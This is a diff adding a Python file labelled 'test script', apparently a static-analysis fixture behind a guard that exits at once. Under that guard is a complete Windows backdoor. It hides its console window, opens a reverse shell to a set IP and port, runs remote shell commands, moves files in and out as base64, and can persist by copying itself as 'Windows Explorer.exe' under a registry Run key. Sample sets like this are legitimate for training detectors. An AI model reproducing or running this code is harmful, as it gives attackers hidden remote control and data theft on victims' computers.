py: add test script

source/py/bb68aefb6fc00983cf9ecb8ea0fc768ada674e2698c5878dc1b9f3fca8f3f359.py_

@@ -0,0 +1,88 @@
+#!/usr/bin/env python
+import sys
+sys.exit("FATAL: This file is a static analysis fixture and must never be executed!")
+import socket
+import subprocess
+import json
+import os
+import base64
+import sys
+import shutil
+import ctypes
+
+# Ocultar la ventana de la consola
+ctypes.windll.user32.ShowWindow(
+    ctypes.windll.kernel32.GetConsoleWindow(), 0
+)
+
+class Backdoor:
+    def __init__(self, ip, port):
+        #self.become_persistent()
+        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.connection.connect((ip, port))
+
+    def become_persistent(self):
+        evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
+        if not os.path.exists(evil_file_location):
+            shutil.copyfile(sys.executable, evil_file_location)
+            subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + evil_file_location + '"', shell=True)
+
+    def reliable_send(self, data):
+        json_data = json.dumps(data)
+        self.connection.send(json_data.encode())
+
+    def reliable_receive(self):
+        json_data = ""
+        while True:
+            try:
+                json_data += self.connection.recv(1024).decode()
+                return json.loads(json_data)
+            except ValueError:
+                continue
+
+    def execute_system_command(self, command):
+        DEVNULL = open(os.devnull, 'wb')
+        return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)
+
+    def change_working_directory_to(self, path):
+        os.chdir(path)
+        return "[+] Changing directory to " + path
+
+    def read_file(self, path):
+        with open(path, "rb") as file:
+            return base64.b64encode(file.read()).decode()
+
+    def write_file(self, path, content):
+        with open(path, "wb") as file:
+            file.write(base64.b64decode(content))
+            return "[+] Upload successful."
+
+    def run(self):
+        while True:
+            command = self.reliable_receive()
+
+            try:
+                if command[0] == "exit":
+                    self.connection.close()
+                    sys.exit()
+                elif command[0] == "cd" and len(command) > 1:
+                    command_result = self.change_working_directory_to(command[1])
+                elif command[0] == "download":
+                    command_result = self.read_file(command[1])
+                elif command[0] == "upload":
+                    command_result = self.write_file(command[1], command[2])
+                else:
+                    command_result = self.execute_system_command(command)
+            except Exception as e:
+                command_result = f"[-] Error: {str(e)}"
+
+            self.reliable_send(command_result)
+
+# file_name = sys._MEIPASS + "\gufi.png"
+# subprocess.Popen(file_name, shell=True)
+
+try:
+    my_backdoor = Backdoor("192.168.1.104", 4444)
+    my_backdoor.run()
+except Exception:
+    sys.exit()